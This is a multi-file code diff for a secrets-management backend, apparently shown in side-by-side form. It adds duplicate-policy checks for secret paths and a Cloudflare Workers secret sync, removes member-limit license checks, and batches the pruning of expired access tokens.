const env = await projectEnvDAL.findOne({ slug: environment, projectId: project.id }); const env = await projectEnvDAL.findOne({ slug: environment, projectId: project.id });
if (!env) throw new NotFoundError({ message: `Environment with slug '${environment}' not found` }); if (!env) throw new NotFoundError({ message: `Environment with slug '${environment}' not found` });
if (await $policyExists({ envId: env.id, secretPath })) {
throw new BadRequestError({
message: `A policy for secret path '${secretPath}' already exists in environment '${environment}'`
});
}
let approverUserIds = userApprovers; let approverUserIds = userApprovers;
if (userApproverNames.length) { if (userApproverNames.length) {
const approverUsersInDB = await userDAL.find({ const approverUsersInDB = await userDAL.find({
@ -279,7 +305,11 @@ export const accessApprovalPolicyServiceFactory = ({
) as { username: string; sequence?: number }[]; ) as { username: string; sequence?: number }[];
const accessApprovalPolicy = await accessApprovalPolicyDAL.findById(policyId); const accessApprovalPolicy = await accessApprovalPolicyDAL.findById(policyId);
if (!accessApprovalPolicy) throw new BadRequestError({ message: "Approval policy not found" }); if (!accessApprovalPolicy) {
throw new NotFoundError({
message: `Access approval policy with ID '${policyId}' not found`
});
}
const currentApprovals = approvals || accessApprovalPolicy.approvals; const currentApprovals = approvals || accessApprovalPolicy.approvals;
if ( if (
@ -290,9 +320,18 @@ export const accessApprovalPolicyServiceFactory = ({
throw new BadRequestError({ message: "Approvals cannot be greater than approvers" }); throw new BadRequestError({ message: "Approvals cannot be greater than approvers" });
} }
if (!accessApprovalPolicy) { if (
throw new NotFoundError({ message: `Secret approval policy with ID '${policyId}' not found` }); await $policyExists({
envId: accessApprovalPolicy.envId,
secretPath: secretPath || accessApprovalPolicy.secretPath,
policyId: accessApprovalPolicy.id
})
) {
throw new BadRequestError({
message: `A policy for secret path '${secretPath}' already exists in environment '${accessApprovalPolicy.environment.slug}'`
});
} }
const { permission } = await permissionService.getProjectPermission({ const { permission } = await permissionService.getProjectPermission({
actor, actor,
actorId, actorId,

View File

@ -122,7 +122,7 @@ export interface TAccessApprovalPolicyServiceFactory {
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
}>; }>;
deleteAccessApprovalPolicy: ({ deleteAccessApprovalPolicy: ({
@ -146,7 +146,7 @@ export interface TAccessApprovalPolicyServiceFactory {
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
environment: { environment: {
id: string; id: string;
@ -218,7 +218,7 @@ export interface TAccessApprovalPolicyServiceFactory {
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
environment: { environment: {
id: string; id: string;
@ -269,7 +269,7 @@ export interface TAccessApprovalPolicyServiceFactory {
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
environment: { environment: {
id: string; id: string;

View File

@ -1711,7 +1711,7 @@ interface SecretApprovalReopened {
interface SecretApprovalRequest { interface SecretApprovalRequest {
type: EventType.SECRET_APPROVAL_REQUEST; type: EventType.SECRET_APPROVAL_REQUEST;
metadata: { metadata: {
committedBy: string; committedBy?: string | null;
secretApprovalRequestSlug: string; secretApprovalRequestSlug: string;
secretApprovalRequestId: string; secretApprovalRequestId: string;
eventType: SecretApprovalEvent; eventType: SecretApprovalEvent;

View File

@ -361,13 +361,6 @@ export const ldapConfigServiceFactory = ({
}); });
} else { } else {
const plan = await licenseService.getPlan(orgId); const plan = await licenseService.getPlan(orgId);
if (plan?.slug !== "enterprise" && plan?.memberLimit && plan.membersUsed >= plan.memberLimit) {
// limit imposed on number of members allowed / number of members used exceeds the number of members allowed
throw new BadRequestError({
message: "Failed to create new member via LDAP due to member limit reached. Upgrade plan to add more members."
});
}
if (plan?.slug !== "enterprise" && plan?.identityLimit && plan.identitiesUsed >= plan.identityLimit) { if (plan?.slug !== "enterprise" && plan?.identityLimit && plan.identitiesUsed >= plan.identityLimit) {
// limit imposed on number of identities allowed / number of identities used exceeds the number of identities allowed // limit imposed on number of identities allowed / number of identities used exceeds the number of identities allowed
throw new BadRequestError({ throw new BadRequestError({

View File

@ -1,5 +1,4 @@
export const BillingPlanRows = { export const BillingPlanRows = {
MemberLimit: { name: "Organization member limit", field: "memberLimit" },
IdentityLimit: { name: "Organization identity limit", field: "identityLimit" }, IdentityLimit: { name: "Organization identity limit", field: "identityLimit" },
WorkspaceLimit: { name: "Project limit", field: "workspaceLimit" }, WorkspaceLimit: { name: "Project limit", field: "workspaceLimit" },
EnvironmentLimit: { name: "Environment limit", field: "environmentLimit" }, EnvironmentLimit: { name: "Environment limit", field: "environmentLimit" },

View File

@ -442,9 +442,7 @@ export const licenseServiceFactory = ({
rows: data.rows.map((el) => { rows: data.rows.map((el) => {
let used = "-"; let used = "-";
if (el.name === BillingPlanRows.MemberLimit.name) { if (el.name === BillingPlanRows.WorkspaceLimit.name) {
used = orgMembersUsed.toString();
} else if (el.name === BillingPlanRows.WorkspaceLimit.name) {
used = projectCount.toString(); used = projectCount.toString();
} else if (el.name === BillingPlanRows.IdentityLimit.name) { } else if (el.name === BillingPlanRows.IdentityLimit.name) {
used = (identityUsed + orgMembersUsed).toString(); used = (identityUsed + orgMembersUsed).toString();
@ -464,12 +462,10 @@ export const licenseServiceFactory = ({
const allowed = onPremFeatures[field as keyof TFeatureSet]; const allowed = onPremFeatures[field as keyof TFeatureSet];
let used = "-"; let used = "-";
if (field === BillingPlanRows.MemberLimit.field) { if (field === BillingPlanRows.WorkspaceLimit.field) {
used = orgMembersUsed.toString();
} else if (field === BillingPlanRows.WorkspaceLimit.field) {
used = projectCount.toString(); used = projectCount.toString();
} else if (field === BillingPlanRows.IdentityLimit.field) { } else if (field === BillingPlanRows.IdentityLimit.field) {
used = identityUsed.toString(); used = (identityUsed + orgMembersUsed).toString();
} }
return { return {

View File

@ -311,13 +311,6 @@ export const samlConfigServiceFactory = ({
}); });
} else { } else {
const plan = await licenseService.getPlan(orgId); const plan = await licenseService.getPlan(orgId);
if (plan?.slug !== "enterprise" && plan?.memberLimit && plan.membersUsed >= plan.memberLimit) {
// limit imposed on number of members allowed / number of members used exceeds the number of members allowed
throw new BadRequestError({
message: "Failed to create new member via SAML due to member limit reached. Upgrade plan to add more members."
});
}
if (plan?.slug !== "enterprise" && plan?.identityLimit && plan.identitiesUsed >= plan.identityLimit) { if (plan?.slug !== "enterprise" && plan?.identityLimit && plan.identitiesUsed >= plan.identityLimit) {
// limit imposed on number of identities allowed / number of identities used exceeds the number of identities allowed // limit imposed on number of identities allowed / number of identities used exceeds the number of identities allowed
throw new BadRequestError({ throw new BadRequestError({

View File

@ -55,6 +55,26 @@ export const secretApprovalPolicyServiceFactory = ({
licenseService, licenseService,
secretApprovalRequestDAL secretApprovalRequestDAL
}: TSecretApprovalPolicyServiceFactoryDep) => { }: TSecretApprovalPolicyServiceFactoryDep) => {
const $policyExists = async ({
envId,
secretPath,
policyId
}: {
envId: string;
secretPath: string;
policyId?: string;
}) => {
const policy = await secretApprovalPolicyDAL
.findOne({
envId,
secretPath,
deletedAt: null
})
.catch(() => null);
return policyId ? policy && policy.id !== policyId : Boolean(policy);
};
const createSecretApprovalPolicy = async ({ const createSecretApprovalPolicy = async ({
name, name,
actor, actor,
@ -106,10 +126,17 @@ export const secretApprovalPolicyServiceFactory = ({
} }
const env = await projectEnvDAL.findOne({ slug: environment, projectId }); const env = await projectEnvDAL.findOne({ slug: environment, projectId });
if (!env) if (!env) {
throw new NotFoundError({ throw new NotFoundError({
message: `Environment with slug '${environment}' not found in project with ID ${projectId}` message: `Environment with slug '${environment}' not found in project with ID ${projectId}`
}); });
}
if (await $policyExists({ envId: env.id, secretPath })) {
throw new BadRequestError({
message: `A policy for secret path '${secretPath}' already exists in environment '${environment}'`
});
}
let groupBypassers: string[] = []; let groupBypassers: string[] = [];
let bypasserUserIds: string[] = []; let bypasserUserIds: string[] = [];
@ -260,6 +287,18 @@ export const secretApprovalPolicyServiceFactory = ({
}); });
} }
if (
await $policyExists({
envId: secretApprovalPolicy.envId,
secretPath: secretPath || secretApprovalPolicy.secretPath,
policyId: secretApprovalPolicy.id
})
) {
throw new BadRequestError({
message: `A policy for secret path '${secretPath}' already exists in environment '${secretApprovalPolicy.environment.slug}'`
});
}
const { permission } = await permissionService.getProjectPermission({ const { permission } = await permissionService.getProjectPermission({
actor, actor,
actorId, actorId,

View File

@ -4,7 +4,7 @@ import { ApproverType, BypasserType } from "../access-approval-policy/access-app
export type TCreateSapDTO = { export type TCreateSapDTO = {
approvals: number; approvals: number;
secretPath?: string | null; secretPath: string;
environment: string; environment: string;
approvers: ({ type: ApproverType.Group; id: string } | { type: ApproverType.User; id?: string; username?: string })[]; approvers: ({ type: ApproverType.Group; id: string } | { type: ApproverType.User; id?: string; username?: string })[];
bypassers?: ( bypassers?: (
@ -20,7 +20,7 @@ export type TCreateSapDTO = {
export type TUpdateSapDTO = { export type TUpdateSapDTO = {
secretPolicyId: string; secretPolicyId: string;
approvals?: number; approvals?: number;
secretPath?: string | null; secretPath?: string;
approvers: ({ type: ApproverType.Group; id: string } | { type: ApproverType.User; id?: string; username?: string })[]; approvers: ({ type: ApproverType.Group; id: string } | { type: ApproverType.User; id?: string; username?: string })[];
bypassers?: ( bypassers?: (
| { type: BypasserType.Group; id: string } | { type: BypasserType.Group; id: string }

View File

@ -45,7 +45,7 @@ export const secretApprovalRequestDALFactory = (db: TDbClient) => {
`${TableName.SecretApprovalRequest}.statusChangedByUserId`, `${TableName.SecretApprovalRequest}.statusChangedByUserId`,
`statusChangedByUser.id` `statusChangedByUser.id`
) )
.join<TUsers>( .leftJoin<TUsers>(
db(TableName.Users).as("committerUser"), db(TableName.Users).as("committerUser"),
`${TableName.SecretApprovalRequest}.committerUserId`, `${TableName.SecretApprovalRequest}.committerUserId`,
`committerUser.id` `committerUser.id`
@ -173,13 +173,15 @@ export const secretApprovalRequestDALFactory = (db: TDbClient) => {
username: el.statusChangedByUserUsername username: el.statusChangedByUserUsername
} }
: undefined, : undefined,
committerUser: { committerUser: el.committerUserId
userId: el.committerUserId, ? {
email: el.committerUserEmail, userId: el.committerUserId,
firstName: el.committerUserFirstName, email: el.committerUserEmail,
lastName: el.committerUserLastName, firstName: el.committerUserFirstName,
username: el.committerUserUsername lastName: el.committerUserLastName,
}, username: el.committerUserUsername
}
: null,
policy: { policy: {
id: el.policyId, id: el.policyId,
name: el.policyName, name: el.policyName,
@ -377,7 +379,7 @@ export const secretApprovalRequestDALFactory = (db: TDbClient) => {
`${TableName.SecretApprovalPolicyBypasser}.bypasserGroupId`, `${TableName.SecretApprovalPolicyBypasser}.bypasserGroupId`,
`bypasserUserGroupMembership.groupId` `bypasserUserGroupMembership.groupId`
) )
.join<TUsers>( .leftJoin<TUsers>(
db(TableName.Users).as("committerUser"), db(TableName.Users).as("committerUser"),
`${TableName.SecretApprovalRequest}.committerUserId`, `${TableName.SecretApprovalRequest}.committerUserId`,
`committerUser.id` `committerUser.id`
@ -488,13 +490,15 @@ export const secretApprovalRequestDALFactory = (db: TDbClient) => {
enforcementLevel: el.policyEnforcementLevel, enforcementLevel: el.policyEnforcementLevel,
allowedSelfApprovals: el.policyAllowedSelfApprovals allowedSelfApprovals: el.policyAllowedSelfApprovals
}, },
committerUser: { committerUser: el.committerUserId
userId: el.committerUserId, ? {
email: el.committerUserEmail, userId: el.committerUserId,
firstName: el.committerUserFirstName, email: el.committerUserEmail,
lastName: el.committerUserLastName, firstName: el.committerUserFirstName,
username: el.committerUserUsername lastName: el.committerUserLastName,
} username: el.committerUserUsername
}
: null
}), }),
childrenMapper: [ childrenMapper: [
{ {
@ -581,7 +585,7 @@ export const secretApprovalRequestDALFactory = (db: TDbClient) => {
`${TableName.SecretApprovalPolicyBypasser}.bypasserGroupId`, `${TableName.SecretApprovalPolicyBypasser}.bypasserGroupId`,
`bypasserUserGroupMembership.groupId` `bypasserUserGroupMembership.groupId`
) )
.join<TUsers>( .leftJoin<TUsers>(
db(TableName.Users).as("committerUser"), db(TableName.Users).as("committerUser"),
`${TableName.SecretApprovalRequest}.committerUserId`, `${TableName.SecretApprovalRequest}.committerUserId`,
`committerUser.id` `committerUser.id`
@ -693,13 +697,15 @@ export const secretApprovalRequestDALFactory = (db: TDbClient) => {
enforcementLevel: el.policyEnforcementLevel, enforcementLevel: el.policyEnforcementLevel,
allowedSelfApprovals: el.policyAllowedSelfApprovals allowedSelfApprovals: el.policyAllowedSelfApprovals
}, },
committerUser: { committerUser: el.committerUserId
userId: el.committerUserId, ? {
email: el.committerUserEmail, userId: el.committerUserId,
firstName: el.committerUserFirstName, email: el.committerUserEmail,
lastName: el.committerUserLastName, firstName: el.committerUserFirstName,
username: el.committerUserUsername lastName: el.committerUserLastName,
} username: el.committerUserUsername
}
: null
}), }),
childrenMapper: [ childrenMapper: [
{ {

View File

@ -1320,7 +1320,7 @@ export const secretApprovalRequestServiceFactory = ({
}); });
const env = await projectEnvDAL.findOne({ id: policy.envId }); const env = await projectEnvDAL.findOne({ id: policy.envId });
const user = await userDAL.findById(secretApprovalRequest.committerUserId); const user = await userDAL.findById(actorId);
await triggerWorkflowIntegrationNotification({ await triggerWorkflowIntegrationNotification({
input: { input: {
@ -1657,7 +1657,7 @@ export const secretApprovalRequestServiceFactory = ({
return { ...doc, commits: approvalCommits }; return { ...doc, commits: approvalCommits };
}); });
const user = await userDAL.findById(secretApprovalRequest.committerUserId); const user = await userDAL.findById(actorId);
const env = await projectEnvDAL.findOne({ id: policy.envId }); const env = await projectEnvDAL.findOne({ id: policy.envId });
await triggerWorkflowIntegrationNotification({ await triggerWorkflowIntegrationNotification({

View File

@ -2472,6 +2472,9 @@ export const SecretSyncs = {
projectName: "The name of the Cloudflare Pages project to sync secrets to.", projectName: "The name of the Cloudflare Pages project to sync secrets to.",
environment: "The environment of the Cloudflare Pages project to sync secrets to." environment: "The environment of the Cloudflare Pages project to sync secrets to."
}, },
CLOUDFLARE_WORKERS: {
scriptId: "The ID of the Cloudflare Workers script to sync secrets to."
},
ZABBIX: { ZABBIX: {
scope: "The Zabbix scope that secrets should be synced to.", scope: "The Zabbix scope that secrets should be synced to.",
hostId: "The ID of the Zabbix host to sync secrets to.", hostId: "The ID of the Zabbix host to sync secrets to.",

View File

@ -50,4 +50,32 @@ export const registerCloudflareConnectionRouter = async (server: FastifyZodProvi
return projects; return projects;
} }
}); });
server.route({
method: "GET",
url: `/:connectionId/cloudflare-workers-scripts`,
config: {
rateLimit: readLimit
},
schema: {
params: z.object({
connectionId: z.string().uuid()
}),
response: {
200: z
.object({
id: z.string()
})
.array()
}
},
onRequest: verifyAuth([AuthMode.JWT]),
handler: async (req) => {
const { connectionId } = req.params;
const projects = await server.services.appConnection.cloudflare.listWorkersScripts(connectionId, req.permission);
return projects;
}
});
}; };

View File

@ -0,0 +1,17 @@
import {
CloudflareWorkersSyncSchema,
CreateCloudflareWorkersSyncSchema,
UpdateCloudflareWorkersSyncSchema
} from "@app/services/secret-sync/cloudflare-workers/cloudflare-workers-schemas";
import { SecretSync } from "@app/services/secret-sync/secret-sync-enums";
import { registerSyncSecretsEndpoints } from "./secret-sync-endpoints";
export const registerCloudflareWorkersSyncRouter = async (server: FastifyZodProvider) =>
registerSyncSecretsEndpoints({
destination: SecretSync.CloudflareWorkers,
server,
responseSchema: CloudflareWorkersSyncSchema,
createSchema: CreateCloudflareWorkersSyncSchema,
updateSchema: UpdateCloudflareWorkersSyncSchema
});

View File

@ -9,6 +9,7 @@ import { registerAzureDevOpsSyncRouter } from "./azure-devops-sync-router";
import { registerAzureKeyVaultSyncRouter } from "./azure-key-vault-sync-router"; import { registerAzureKeyVaultSyncRouter } from "./azure-key-vault-sync-router";
import { registerCamundaSyncRouter } from "./camunda-sync-router"; import { registerCamundaSyncRouter } from "./camunda-sync-router";
import { registerCloudflarePagesSyncRouter } from "./cloudflare-pages-sync-router"; import { registerCloudflarePagesSyncRouter } from "./cloudflare-pages-sync-router";
import { registerCloudflareWorkersSyncRouter } from "./cloudflare-workers-sync-router";
import { registerDatabricksSyncRouter } from "./databricks-sync-router"; import { registerDatabricksSyncRouter } from "./databricks-sync-router";
import { registerFlyioSyncRouter } from "./flyio-sync-router"; import { registerFlyioSyncRouter } from "./flyio-sync-router";
import { registerGcpSyncRouter } from "./gcp-sync-router"; import { registerGcpSyncRouter } from "./gcp-sync-router";
@ -50,6 +51,8 @@ export const SECRET_SYNC_REGISTER_ROUTER_MAP: Record<SecretSync, (server: Fastif
[SecretSync.Flyio]: registerFlyioSyncRouter, [SecretSync.Flyio]: registerFlyioSyncRouter,
[SecretSync.GitLab]: registerGitLabSyncRouter, [SecretSync.GitLab]: registerGitLabSyncRouter,
[SecretSync.CloudflarePages]: registerCloudflarePagesSyncRouter, [SecretSync.CloudflarePages]: registerCloudflarePagesSyncRouter,
[SecretSync.CloudflareWorkers]: registerCloudflareWorkersSyncRouter,
[SecretSync.Zabbix]: registerZabbixSyncRouter, [SecretSync.Zabbix]: registerZabbixSyncRouter,
[SecretSync.Railway]: registerRailwaySyncRouter [SecretSync.Railway]: registerRailwaySyncRouter
}; };

View File

@ -26,6 +26,10 @@ import {
CloudflarePagesSyncListItemSchema, CloudflarePagesSyncListItemSchema,
CloudflarePagesSyncSchema CloudflarePagesSyncSchema
} from "@app/services/secret-sync/cloudflare-pages/cloudflare-pages-schema"; } from "@app/services/secret-sync/cloudflare-pages/cloudflare-pages-schema";
import {
CloudflareWorkersSyncListItemSchema,
CloudflareWorkersSyncSchema
} from "@app/services/secret-sync/cloudflare-workers/cloudflare-workers-schemas";
import { DatabricksSyncListItemSchema, DatabricksSyncSchema } from "@app/services/secret-sync/databricks"; import { DatabricksSyncListItemSchema, DatabricksSyncSchema } from "@app/services/secret-sync/databricks";
import { FlyioSyncListItemSchema, FlyioSyncSchema } from "@app/services/secret-sync/flyio"; import { FlyioSyncListItemSchema, FlyioSyncSchema } from "@app/services/secret-sync/flyio";
import { GcpSyncListItemSchema, GcpSyncSchema } from "@app/services/secret-sync/gcp"; import { GcpSyncListItemSchema, GcpSyncSchema } from "@app/services/secret-sync/gcp";
@ -65,6 +69,8 @@ const SecretSyncSchema = z.discriminatedUnion("destination", [
FlyioSyncSchema, FlyioSyncSchema,
GitLabSyncSchema, GitLabSyncSchema,
CloudflarePagesSyncSchema, CloudflarePagesSyncSchema,
CloudflareWorkersSyncSchema,
ZabbixSyncSchema, ZabbixSyncSchema,
RailwaySyncSchema RailwaySyncSchema
]); ]);
@ -92,6 +98,8 @@ const SecretSyncOptionsSchema = z.discriminatedUnion("destination", [
FlyioSyncListItemSchema, FlyioSyncListItemSchema,
GitLabSyncListItemSchema, GitLabSyncListItemSchema,
CloudflarePagesSyncListItemSchema, CloudflarePagesSyncListItemSchema,
CloudflareWorkersSyncListItemSchema,
ZabbixSyncListItemSchema, ZabbixSyncListItemSchema,
RailwaySyncListItemSchema RailwaySyncListItemSchema
]); ]);

View File

@ -9,7 +9,8 @@ import { CloudflareConnectionMethod } from "./cloudflare-connection-enum";
import { import {
TCloudflareConnection, TCloudflareConnection,
TCloudflareConnectionConfig, TCloudflareConnectionConfig,
TCloudflarePagesProject TCloudflarePagesProject,
TCloudflareWorkersScript
} from "./cloudflare-connection-types"; } from "./cloudflare-connection-types";
export const getCloudflareConnectionListItem = () => { export const getCloudflareConnectionListItem = () => {
@ -43,6 +44,28 @@ export const listCloudflarePagesProjects = async (
})); }));
}; };
export const listCloudflareWorkersScripts = async (
appConnection: TCloudflareConnection
): Promise<TCloudflareWorkersScript[]> => {
const {
credentials: { apiToken, accountId }
} = appConnection;
const { data } = await request.get<{ result: { id: string }[] }>(
`${IntegrationUrls.CLOUDFLARE_API_URL}/client/v4/accounts/${accountId}/workers/scripts`,
{
headers: {
Authorization: `Bearer ${apiToken}`,
Accept: "application/json"
}
}
);
return data.result.map((a) => ({
id: a.id
}));
};
export const validateCloudflareConnectionCredentials = async (config: TCloudflareConnectionConfig) => { export const validateCloudflareConnectionCredentials = async (config: TCloudflareConnectionConfig) => {
const { apiToken, accountId } = config.credentials; const { apiToken, accountId } = config.credentials;

View File

@ -2,7 +2,7 @@ import { logger } from "@app/lib/logger";
import { OrgServiceActor } from "@app/lib/types"; import { OrgServiceActor } from "@app/lib/types";
import { AppConnection } from "../app-connection-enums"; import { AppConnection } from "../app-connection-enums";
import { listCloudflarePagesProjects } from "./cloudflare-connection-fns"; import { listCloudflarePagesProjects, listCloudflareWorkersScripts } from "./cloudflare-connection-fns";
import { TCloudflareConnection } from "./cloudflare-connection-types"; import { TCloudflareConnection } from "./cloudflare-connection-types";
type TGetAppConnectionFunc = ( type TGetAppConnectionFunc = (
@ -19,12 +19,31 @@ export const cloudflareConnectionService = (getAppConnection: TGetAppConnectionF
return projects; return projects;
} catch (error) { } catch (error) {
logger.error(error, "Failed to list Cloudflare Pages projects for Cloudflare connection"); logger.error(
error,
`Failed to list Cloudflare Pages projects for Cloudflare connection [connectionId=${connectionId}]`
);
return [];
}
};
const listWorkersScripts = async (connectionId: string, actor: OrgServiceActor) => {
const appConnection = await getAppConnection(AppConnection.Cloudflare, connectionId, actor);
try {
const projects = await listCloudflareWorkersScripts(appConnection);
return projects;
} catch (error) {
logger.error(
error,
`Failed to list Cloudflare Workers scripts for Cloudflare connection [connectionId=${connectionId}]`
);
return []; return [];
} }
}; };
return { return {
listPagesProjects listPagesProjects,
listWorkersScripts
}; };
}; };

View File

@ -28,3 +28,7 @@ export type TCloudflarePagesProject = {
id: string; id: string;
name: string; name: string;
}; };
export type TCloudflareWorkersScript = {
id: string;
};

View File

@ -7,7 +7,6 @@ import { request } from "@app/lib/config/request";
import { BadRequestError, ForbiddenRequestError, InternalServerError } from "@app/lib/errors"; import { BadRequestError, ForbiddenRequestError, InternalServerError } from "@app/lib/errors";
import { getAppConnectionMethodName } from "@app/services/app-connection/app-connection-fns"; import { getAppConnectionMethodName } from "@app/services/app-connection/app-connection-fns";
import { IntegrationUrls } from "@app/services/integration-auth/integration-list"; import { IntegrationUrls } from "@app/services/integration-auth/integration-list";
import { getInstanceIntegrationsConfig } from "@app/services/super-admin/super-admin-service";
import { AppConnection } from "../app-connection-enums"; import { AppConnection } from "../app-connection-enums";
import { GitHubConnectionMethod } from "./github-connection-enums"; import { GitHubConnectionMethod } from "./github-connection-enums";
@ -15,14 +14,13 @@ import { TGitHubConnection, TGitHubConnectionConfig } from "./github-connection-
export const getGitHubConnectionListItem = () => { export const getGitHubConnectionListItem = () => {
const { INF_APP_CONNECTION_GITHUB_OAUTH_CLIENT_ID, INF_APP_CONNECTION_GITHUB_APP_SLUG } = getConfig(); const { INF_APP_CONNECTION_GITHUB_OAUTH_CLIENT_ID, INF_APP_CONNECTION_GITHUB_APP_SLUG } = getConfig();
const { gitHubAppConnection } = getInstanceIntegrationsConfig();
return { return {
name: "GitHub" as const, name: "GitHub" as const,
app: AppConnection.GitHub as const, app: AppConnection.GitHub as const,
methods: Object.values(GitHubConnectionMethod) as [GitHubConnectionMethod.App, GitHubConnectionMethod.OAuth], methods: Object.values(GitHubConnectionMethod) as [GitHubConnectionMethod.App, GitHubConnectionMethod.OAuth],
oauthClientId: INF_APP_CONNECTION_GITHUB_OAUTH_CLIENT_ID, oauthClientId: INF_APP_CONNECTION_GITHUB_OAUTH_CLIENT_ID,
appClientSlug: gitHubAppConnection.appSlug || INF_APP_CONNECTION_GITHUB_APP_SLUG appClientSlug: INF_APP_CONNECTION_GITHUB_APP_SLUG
}; };
}; };
@ -32,10 +30,9 @@ export const getGitHubClient = (appConnection: TGitHubConnection) => {
const { method, credentials } = appConnection; const { method, credentials } = appConnection;
let client: Octokit; let client: Octokit;
const { gitHubAppConnection } = getInstanceIntegrationsConfig();
const appId = gitHubAppConnection.appId || appCfg.INF_APP_CONNECTION_GITHUB_APP_ID; const appId = appCfg.INF_APP_CONNECTION_GITHUB_APP_ID;
const appPrivateKey = gitHubAppConnection.privateKey || appCfg.INF_APP_CONNECTION_GITHUB_APP_PRIVATE_KEY; const appPrivateKey = appCfg.INF_APP_CONNECTION_GITHUB_APP_PRIVATE_KEY;
switch (method) { switch (method) {
case GitHubConnectionMethod.App: case GitHubConnectionMethod.App:
@ -157,8 +154,6 @@ type TokenRespData = {
export const validateGitHubConnectionCredentials = async (config: TGitHubConnectionConfig) => { export const validateGitHubConnectionCredentials = async (config: TGitHubConnectionConfig) => {
const { credentials, method } = config; const { credentials, method } = config;
const { gitHubAppConnection } = getInstanceIntegrationsConfig();
const { const {
INF_APP_CONNECTION_GITHUB_OAUTH_CLIENT_ID, INF_APP_CONNECTION_GITHUB_OAUTH_CLIENT_ID,
INF_APP_CONNECTION_GITHUB_OAUTH_CLIENT_SECRET, INF_APP_CONNECTION_GITHUB_OAUTH_CLIENT_SECRET,
@ -170,8 +165,8 @@ export const validateGitHubConnectionCredentials = async (config: TGitHubConnect
const { clientId, clientSecret } = const { clientId, clientSecret } =
method === GitHubConnectionMethod.App method === GitHubConnectionMethod.App
? { ? {
clientId: gitHubAppConnection.clientId || INF_APP_CONNECTION_GITHUB_APP_CLIENT_ID, clientId: INF_APP_CONNECTION_GITHUB_APP_CLIENT_ID,
clientSecret: gitHubAppConnection.clientSecret || INF_APP_CONNECTION_GITHUB_APP_CLIENT_SECRET clientSecret: INF_APP_CONNECTION_GITHUB_APP_CLIENT_SECRET
} }
: // oauth : // oauth
{ {

View File

@ -30,10 +30,17 @@ export const identityAccessTokenDALFactory = (db: TDbClient) => {
const removeExpiredTokens = async (tx?: Knex) => { const removeExpiredTokens = async (tx?: Knex) => {
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token started`); logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token started`);
const BATCH_SIZE = 10000;
const MAX_RETRY_ON_FAILURE = 3;
const QUERY_TIMEOUT_MS = 10 * 60 * 1000; // 10 minutes
const MAX_TTL = 315_360_000; // Maximum TTL value in seconds (10 years) const MAX_TTL = 315_360_000; // Maximum TTL value in seconds (10 years)
try { let deletedTokenIds: { id: string }[] = [];
const docs = (tx || db)(TableName.IdentityAccessToken) let numberOfRetryOnFailure = 0;
let isRetrying = false;
const getExpiredTokensQuery = (dbClient: Knex | Knex.Transaction) =>
dbClient(TableName.IdentityAccessToken)
.where({ .where({
isAccessTokenRevoked: true isAccessTokenRevoked: true
}) })
@ -47,34 +54,64 @@ export const identityAccessTokenDALFactory = (db: TDbClient) => {
); );
}) })
.orWhere((qb) => { .orWhere((qb) => {
void qb.where("accessTokenTTL", ">", 0).andWhere((qb2) => { void qb.where("accessTokenTTL", ">", 0).andWhereRaw(
void qb2 `
.where((qb3) => { -- Check if the token's effective expiration time has passed.
void qb3 -- The expiration time is calculated by adding its TTL to its last renewal/creation time.
.whereNotNull("accessTokenLastRenewedAt") COALESCE(
// accessTokenLastRenewedAt + convert_integer_to_seconds(accessTokenTTL) < present_date "${TableName.IdentityAccessToken}"."accessTokenLastRenewedAt", -- Use last renewal time if available
.andWhereRaw( "${TableName.IdentityAccessToken}"."createdAt" -- Otherwise, use creation time
`"${TableName.IdentityAccessToken}"."accessTokenLastRenewedAt" + make_interval(secs => LEAST("${TableName.IdentityAccessToken}"."accessTokenTTL", ?)) < NOW()`, )
[MAX_TTL] + make_interval(
); secs => LEAST(
}) "${TableName.IdentityAccessToken}"."accessTokenTTL", -- Token's specified TTL
.orWhere((qb3) => { ? -- Capped by MAX_TTL (parameterized value)
void qb3 )
.whereNull("accessTokenLastRenewedAt") )
// created + convert_integer_to_seconds(accessTokenTTL) < present_date < NOW() -- Check if the calculated time is before now
.andWhereRaw( `,
`"${TableName.IdentityAccessToken}"."createdAt" + make_interval(secs => LEAST("${TableName.IdentityAccessToken}"."accessTokenTTL", ?)) < NOW()`, [MAX_TTL]
[MAX_TTL] );
); });
});
do {
try {
const deleteBatch = async (dbClient: Knex | Knex.Transaction) => {
const idsToDeleteQuery = getExpiredTokensQuery(dbClient).select("id").limit(BATCH_SIZE);
return dbClient(TableName.IdentityAccessToken).whereIn("id", idsToDeleteQuery).del().returning("id");
};
if (tx) {
// eslint-disable-next-line no-await-in-loop
deletedTokenIds = await deleteBatch(tx);
} else {
// eslint-disable-next-line no-await-in-loop
deletedTokenIds = await db.transaction(async (trx) => {
await trx.raw(`SET statement_timeout = ${QUERY_TIMEOUT_MS}`);
return deleteBatch(trx);
}); });
}) }
.delete();
await docs; numberOfRetryOnFailure = 0; // reset
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token completed`); } catch (error) {
} catch (error) { numberOfRetryOnFailure += 1;
throw new DatabaseError({ error, name: "IdentityAccessTokenPrune" }); logger.error(error, "Failed to delete a batch of expired identity access tokens on pruning");
} finally {
// eslint-disable-next-line no-await-in-loop
await new Promise((resolve) => {
setTimeout(resolve, 10); // time to breathe for db
});
}
isRetrying = numberOfRetryOnFailure > 0;
} while (deletedTokenIds.length > 0 || (isRetrying && numberOfRetryOnFailure < MAX_RETRY_ON_FAILURE));
if (numberOfRetryOnFailure >= MAX_RETRY_ON_FAILURE) {
logger.error(
`IdentityAccessTokenPrune: Pruning failed and stopped after ${MAX_RETRY_ON_FAILURE} consecutive retries.`
);
} }
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token completed`);
}; };
